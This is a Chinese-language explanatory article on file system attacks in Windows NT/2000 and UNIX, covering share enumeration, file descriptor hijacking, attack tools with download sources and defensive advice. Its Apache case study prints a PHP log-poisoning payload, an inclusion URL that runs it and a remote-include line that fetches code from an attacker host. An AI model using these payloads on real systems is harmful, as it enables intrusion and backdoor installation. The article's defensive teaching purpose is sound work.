操作系统文件系统安全威胁与防护解析
1. 初始攻击途径
攻击者在操作系统中进行权限提升和巩固的活动有多种方式,以下是一些常见的途径:
-
利用系统文件权限
:攻击者可以通过获取文件系统权限(访问控制列表,ACLs),实现对文件的读取、写入、更新或删除操作。例如,在某些系统中,默认的文件权限设置可能允许多个用户进行这些操作,攻击者可借此获取敏感信息或修改系统配置。
-
利用目录权限
:对目录权限(ACLs)的利用也十分关键。攻击者可以利用允许文件删除、移动或替换的目录权限,对系统文件进行篡改,从而影响系统的正常运行。
-
利用远程文件共享服务
:借助远程文件共享服务(如NetBIOS或NFS)建立的文件共享,攻击者能够访问系统文件系统的特定区域。例如,在Windows NT/2000和UNIX系统中,远程文件共享设施可能存在安全漏洞,攻击者可利用这些漏洞获取文件系统和对象信息。
-
监听或猜测文件句柄或描述符
:通过监听网络中的文件描述符或文件句柄信息,攻击者有可能获取对特定文件或文件系统区域的控制权。一旦成功获取,他们就可以根据自身权限对相关资源进行访问、更新或删除操作。
-
攻破账户权限
:攻破具有特定文件访问权限的账户,包括root或管理员账户,是攻击者提升权限的重要手段。这些账户通常拥有对文件或文件系统的所有权,攻击者获取这些账户的控制权后,就能对系统进行更深入的攻击。
-
利用文件系统或I/O设备漏洞
:当文件系统或I/O设备存在漏洞时,无特权用户可能获得直接写入文件系统的权限。攻击者可以利用这些漏洞,绕过系统的安全机制,对文件系统进行非法操作。
-
利用应用程序漏洞
:应用程序服务(如FTP、HTTP和SMTP)如果存在漏洞,攻击者可以利用这些漏洞对系统文件系统进行读取、写入或更新操作。例如,Apache HTTP服务器曾因访问控制列表漏洞,导致攻击者可以通过Web浏览器读取日志文件内容。
-
利用操作系统功能特性
:操作系统的一些功能特性,如文件别名(符号或硬链接)、文件执行权限(SetUID或SetGID权限),也可能被攻击者利用来进行文件或文件系统的更新,进而实现权限提升。
2. 文件系统与对象权限识别
文件系统是操作系统中数据存储和管理的重要组成部分,攻击者常常通过识别文件系统和对象的权限来寻找攻击突破口。文件系统可以通过多种方式构建和访问:
-
磁盘方式
:在永久存储设备(如硬盘或可移动介质)上,文件系统可以在系统启动时或运行过程中通过挂载操作进行访问。例如,硬盘分区可以作为独立的文件系统进行挂载,攻击者可以通过挂载操作获取对文件系统的访问权限。
-
网络方式
:利用文件共享服务(如SMB/CIFS和NFS),文件系统可以通过网络进行构建和访问。攻击者可以通过网络连接到远程文件共享服务器,获取文件系统和对象信息。
-
伪文件系统方式
:操作系统通常使用伪(动态)文件系统(如/proc、FIFOs、交换文件系统和临时文件系统)进行内存管理。这些文件系统不会永久写入磁盘,但攻击者仍然可以利用它们进行攻击。例如,攻击者可以通过解析交换文件系统中的文件碎片,获取敏感信息。
攻击者在进行权限提升或巩固活动时,通常会首先枚举各种文件系统或文件系统对象的权限。他们采用的方法包括利用远程文件共享服务或登录服务,以获取对文件系统的命令行或Windows界面访问权限。以下是一些常见的操作示例:
-
Windows NT/2000环境
:在Windows NT/2000环境中,攻击者可以通过NULL会话,使用“net view”和“net session”等本地操作系统工具来收集文件共享信息。例如:
net use \\5.6.7.8\IPC$ ""/u:" "
C:\>net view
Server Name Remark
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
\\PDC Primary Domain Controller
\\BDC Backup Domain Controller
\\PrintSvr LAN Print Server
- UNIX环境 :在UNIX环境中,攻击者可以使用“showmount”命令枚举NFS文件共享,使用“df”命令显示当前挂载的远程系统共享。例如:
$ showmount –e 1.2.3.4
Export list on local host
/home (everyone)
/usr/local client.domain.com
/var susan
$ df -F nfs
remotehost.domain.com:/var nfs 68510 55804 12706
81%/mount/remote
3. 常见文件系统对象及攻击利用
攻击者可能会针对各种文件系统对象进行攻击,以提升自己在系统中的权限。以下是一些常见的文件系统对象及其攻击利用方式:
| 文件系统对象 | 平台及扩展名 | 描述及攻击利用 |
| — | — | — |
| 二进制文件 | NT/2000 (.bin),UNIX (*.bin) | 二进制文件通常需要程序或硬件处理器进行解释。攻击者可以通过修改或替换二进制文件,改变应用程序或操作系统的运行方式。 |
| 块和字符特殊文件(设备) | UNIX (/dev: 无扩展名) | 在UNIX环境中,块特殊文件可以按块读写数据,字符特殊文件可以按字符读写数据。攻击者可以利用这些设备文件进行设备攻击或隐藏外来设备。 |
| 设备驱动程序 | NT/2000 (\WINNT\system32\drivers:.drv,.sys),UNIX (见块和字符特殊文件) | 设备驱动程序的删除、损坏或更新可能会影响操作系统的功能。攻击者可以安装恶意设备驱动程序,实现数据包嗅探、键盘记录等攻击行为。 |
| 目录 | NT/2000,UNIX (任何目录) | 目录权限可以让攻击者删除或列出文件,即使他们没有足够的权限读取或写入文件。攻击者可以利用目录权限对系统文件进行操作,从而影响系统的正常运行。 |
| 动态链接库 | NT/2000 (.dll) | 动态链接库是NT/2000应用程序或操作系统组件动态调用的库文件。攻击者可以通过注入恶意代码或修改动态链接库,改变系统二进制文件和应用程序的功能。 |
| 可执行文件 | NT/2000 (.exe,.bat,.com),UNIX (无扩展名或.c) | 可执行文件包含可以在系统上运行的程序。攻击者可以通过替换、损坏或修改可执行文件,影响系统或应用程序的运行。 |
| 文件描述符(和文件描述符文件系统) | NT/2000,UNIX | 当操作系统打开或创建文件时,会返回一个文件描述符。攻击者可以利用文件描述符进行侦察、修改文件内容或创建拒绝服务条件。 |
| 库文件 | NT/2000,UNIX (.a) | 库文件是操作系统或应用程序调用的一组相似对象。攻击者可以通过注入恶意代码或删除库对象文件,修改应用程序或操作系统的运行方式。 |
| 命名管道 | NT/2000,UNIX | 命名管道允许不相关的进程之间进行通信。攻击者可以利用命名管道进行权限提升,例如通过模拟其他进程来获取更高的权限。 |
| 命名套接字 | NT/2000,UNIX | 套接字提供两个进程之间的双向通信。攻击者可以将其作为网络攻击的目标,通过攻击套接字来获取系统的控制权。 |
| 交换文件 | NT/2000 (.sys),UNIX (/tmp: 各种扩展名) | 交换文件是硬盘上用于扩展系统物理内存的空间。攻击者可以解析交换文件中的文件碎片,或通过损坏或删除交换文件来影响操作系统的运行。 |
| 符号链接(符号和硬链接) | UNIX | 符号链接可以将一个文件别名到另一个文件。攻击者可以利用符号链接进行权限提升,例如通过欺骗管理员执行或更新链接,修改目标文件的内容或权限。 |
| 临时文件 | NT/2000,UNIX | 临时文件系统可以用于隐藏文件或存储有用的侦察数据。攻击者可以利用临时文件系统进行数据隐藏或拒绝服务攻击。 |
3. 常见工具及攻击流程
在攻击过程中,攻击者会使用各种工具来辅助他们完成攻击任务。以下是一些常见的工具及其用途:
| 工具 | 来源 | 描述 |
| — | — | — |
| ADMsmb (ADM Crew) | http://ADM.freelsd.net/ADM | 用于Samba/LAN Manager SMB Windows共享的安全扫描器 |
| filesnarf (dsniff) | http://www.monkey.org/~dugsong/dsniff/ | 可以从NFS流量中嗅探文件并传输到本地驱动器 |
| nfsbug | http://packetstormsecurity.org | 测试主机是否存在常见NFS问题的工具,包括查找全局导出的文件系统、测试导出限制等 |
| nfsshell | ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz | 提供对NFS服务器的用户级访问,支持源路由和特权端口挂载 |
| nfswatch | ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/nfswatch/ | 用于监控NFS请求的工具,可以监控任何给定机器或整个局域网的NFS请求 |
| smbscanner | http://packetstormsecurity.org | 扫描可访问的Windows文件共享的工具 |
| statd overflow scanner | http://packetstormsecurity.org | 用于快速查找具有易受攻击的rpc.statd的UNIX机器的简单扫描器 |
| swb001 (Temeran) | http://www.securityfriday.com/ToolDownload/SWB/swb_001.htm | 用于促进SMB (CIFS)会话设置的工具 |
| SMBRelay (Sir Dystic) | http://packetstormsecurity.org | SMB中间人攻击工具,还可用于建立单向中继以收集SMB认证凭据 |
| WCI (FX) | http://www.phoenelit.de | 用于在交换网络环境中嗅探SMB的工具,包含路由、桥接和完整的SMB网络环境拦截功能 |
| FDJack | http://packetstormsecurity.org | 用于Linux和FreeBSD的多用途基于跟踪的文件描述符劫持器,具有多种操作模式和tty劫持支持 |
攻击者的攻击流程通常如下:
graph LR
A[初始信息收集] --> B[文件系统与对象权限识别]
B --> C[选择攻击工具和方法]
C --> D[实施攻击行动]
D --> E[权限提升与巩固]
E --> F[隐藏痕迹与持续控制]
攻击者首先进行初始信息收集,了解目标系统的基本情况。然后通过文件系统与对象权限识别,确定攻击的突破口。接着选择合适的攻击工具和方法,实施攻击行动。在攻击成功后,攻击者会进行权限提升与巩固,确保对系统的长期控制。最后,他们会隐藏攻击痕迹,避免被系统管理员发现。
4. 攻击案例分析
以Apache HTTP服务器的文件系统利用漏洞为例,详细分析攻击者的攻击过程:
-
漏洞发现
:早期版本的Apache HTTP服务器存在简单的访问控制列表漏洞,默认权限允许任何具有登录访问权限的用户或能够利用应用程序漏洞(如CGI漏洞)的用户通过Web浏览器读取日志文件内容。
pwd
ls –alF/var/log/httpd
rwxr — r — 5 nobody nobody 768 Oct 8 18:13 access_log
rwxr — r — 5 nobody nobody 768 Oct 8 18:13 error_log
- 注入恶意代码 :攻击者利用这些权限,通过调用Web服务器以“nobody”身份向访问日志中写入脚本代码。例如,攻击者可以使用以下命令将PHP代码注入到日志文件中:
Telnet wagner.localdomain.com 80
GET <pre> <? System(stripslashes($phpcode)); ?></pre>
QUIT
- 执行恶意代码 :攻击者可以利用PHP应用程序漏洞,从标准Web浏览器调用嵌入在访问日志文件中的PHP代码。例如:
http://wagner/php/sql.php?goto = /var/log/httpd/access_log&btn = No
- 下载恶意文件 :注入的PHP代码可以使用PHP的本地支持,将HTTP/FTP通用资源定位符(URL)作为“文件”打开,从而下载远程系统上的二进制文件(如Netcat、数据包捕获实用程序或其他特洛伊/后门代码)。
<?php
http://<victim>/function.php?includedir = http://attackershost.example. com/code
?>
通过这个案例可以看出,攻击者利用应用程序的漏洞,结合对文件系统的操作,成功地将恶意代码注入到系统中,并实现了对系统的攻击。这也提醒系统管理员要及时修复应用程序的漏洞,加强对文件系统的访问控制,以提高系统的安全性。
5. 文件共享服务漏洞及利用
文件共享服务在操作系统中广泛使用,但也存在诸多安全漏洞,攻击者可以利用这些漏洞进行侦察和权限提升。以下是NT/2000和UNIX操作系统中常见的文件共享服务漏洞及利用方式:
| 服务类型 | 漏洞表现 | 利用方式 |
| — | — | — |
| NT/2000 SMB-based | - 文件共享侦察:攻击者可从文件共享服务中收集配置的文件共享及相关访问控制信息
- 不安全共享访问:配置不当的文件共享可能提供对服务器文件系统的直接远程访问,包括特权区域
- 已知漏洞:SMB/CIFS存在历史漏洞,可能导致对服务器的特权访问
- 文件描述符嗅探:攻击者可能嗅探或猜测文件描述符,从而控制相关文件 | - 利用NULL会话,使用“net view”和“net session”等工具收集文件共享信息
- 利用不安全的共享配置,直接访问服务器文件系统
- 借助已知漏洞,获取服务器的特权访问
- 嗅探网络中的文件描述符,控制相关文件 |
| UNIX NFS-based | - 文件共享侦察:可从文件共享服务中收集信息
- 不安全共享访问:配置不当的文件共享可能提供对服务器文件系统的直接远程访问
- 已知漏洞:NFS依赖远程过程调用(RPC),存在历史漏洞
- 文件描述符嗅探:攻击者可能嗅探或猜测文件描述符,控制相关文件
- IP/DNS欺骗:在使用主机名控制NFS挂载时,易受IP/DNS欺骗攻击 | - 使用“showmount”命令枚举NFS文件共享,获取相关信息
- 利用不安全的共享配置,直接访问服务器文件系统
- 利用NFS依赖RPC的漏洞,获取服务器的特权访问
- 嗅探网络中的文件描述符,控制相关文件
- 使用DNS欺骗工具,伪造DNS响应,实现NFS挂载请求的欺骗 |
以NFS的IP/DNS欺骗为例,攻击者的攻击流程如下:
graph LR
A[探测目标NFS服务器] --> B[触发服务器DNS查找]
B --> C[攻击者伪造DNS响应]
C --> D[服务器缓存伪造响应]
D --> E[攻击者发起NFS挂载请求]
E --> F[服务器接受请求,攻击者挂载文件系统]
攻击者首先探测目标NFS服务器,迫使服务器进行DNS查找。然后使用DNS欺骗工具伪造DNS响应,服务器缓存该响应后,会接受攻击者以欺骗方式发起的NFS挂载请求,从而使攻击者能够挂载文件系统。
6. 文件句柄/文件描述符攻击
文件句柄/文件描述符攻击主要有两种形式:
-
文件描述符监听
:攻击者使用合适的协议解码数据包嗅探器从网络中捕获文件描述符信息。例如,NFS在某些情况下可能容易受到文件描述符预测攻击,如果攻击者能够获取足够的关于NFS服务器和操作系统平台的信息,就有可能预测文件描述符的值。一旦获得文件描述符,攻击者就可以根据自己的权限访问、更新或删除该文件描述符所引用的资源。
-
文件描述符劫持
:有文章讨论了调整UNIX内核文件描述符表的可能性,将文件描述符从一个进程转移到另一个进程。在UNIX中,文件描述符0、1和2分别代表标准输入、输出和错误,其余文件描述符按顺序分配。如果攻击者能够获得对内核内存(/dev/mem、/dev/kmem)的读写访问权限,就可以操纵文件描述符表,可能从一个进程“窃取”打开的文件描述符并重新分配给另一个进程。例如,攻击者可以通过控制文件描述符0、1和2来控制正在运行的shell,或者通过控制Telnet使用的inet套接字的文件描述符来劫持Telnet会话。
以下是文件描述符攻击的工具及用途:
| 工具 | 来源 | 描述 |
| — | — | — |
| FDJack | http://packetstormsecurity.org | 用于Linux和FreeBSD的多用途基于跟踪的文件描述符劫持器,具有多种操作模式和tty劫持支持 |
7. 应用程序漏洞导致的文件系统利用
应用程序服务(如FTP、HTTP和SMTP)如果存在漏洞,攻击者可以利用这些漏洞对系统文件系统进行读取、写入或更新操作。以HTTP服务为例,攻击者可以通过利用特定的HTTP方法(POST、PUT等)和动态代码组件(Java/JavaScript、XML等),或者利用本地HTTP设施与定义不明确的操作系统访问控制相结合的漏洞,实现对文件系统的访问或更新。
除了前面提到的Apache HTTP服务器的例子,再以一个假设的Web应用程序漏洞为例:
-
漏洞发现
:某Web应用程序存在SQL注入漏洞,攻击者可以通过构造恶意的SQL语句,绕过应用程序的身份验证机制。
-
信息泄露
:攻击者利用SQL注入漏洞,从数据库中获取文件系统的相关信息,如文件路径、权限等。
-
文件系统访问
:攻击者根据获取的信息,尝试访问文件系统中的敏感文件。例如,攻击者可以通过构造特定的URL,访问服务器上的配置文件或日志文件。
-
权限提升
:如果攻击者能够找到具有高权限的文件或目录,他们可能会尝试利用这些文件或目录进行权限提升。例如,攻击者可以修改系统配置文件,添加自己的账户并赋予高权限。
8. 防护建议
为了提高操作系统文件系统的安全性,系统管理员可以采取以下防护措施:
-
强化文件和目录权限
:定期检查和调整文件和目录的权限,确保只有授权用户能够进行读写操作。避免使用过于宽松的权限设置,防止攻击者利用权限漏洞进行攻击。
-
更新和修复漏洞
:及时更新操作系统和应用程序,修复已知的安全漏洞。关注安全公告,及时采取措施防范新出现的漏洞。
-
监控网络流量
:使用网络监控工具,实时监控网络流量,检测异常的文件共享请求和文件描述符活动。及时发现并阻止潜在的攻击行为。
-
加强身份验证
:采用强密码策略,定期更换密码。使用多因素身份验证,增加账户的安全性。
-
限制文件共享服务
:谨慎配置文件共享服务,避免使用不安全的共享配置。对共享文件和目录进行严格的访问控制,只允许授权用户进行访问。
-
审计和日志记录
:启用系统审计和日志记录功能,记录文件系统的访问和操作信息。定期审查日志,及时发现异常活动。
通过采取以上防护措施,可以有效降低操作系统文件系统遭受攻击的风险,提高系统的安全性和稳定性。
超级会员免费看

被折叠的 条评论
为什么被折叠?



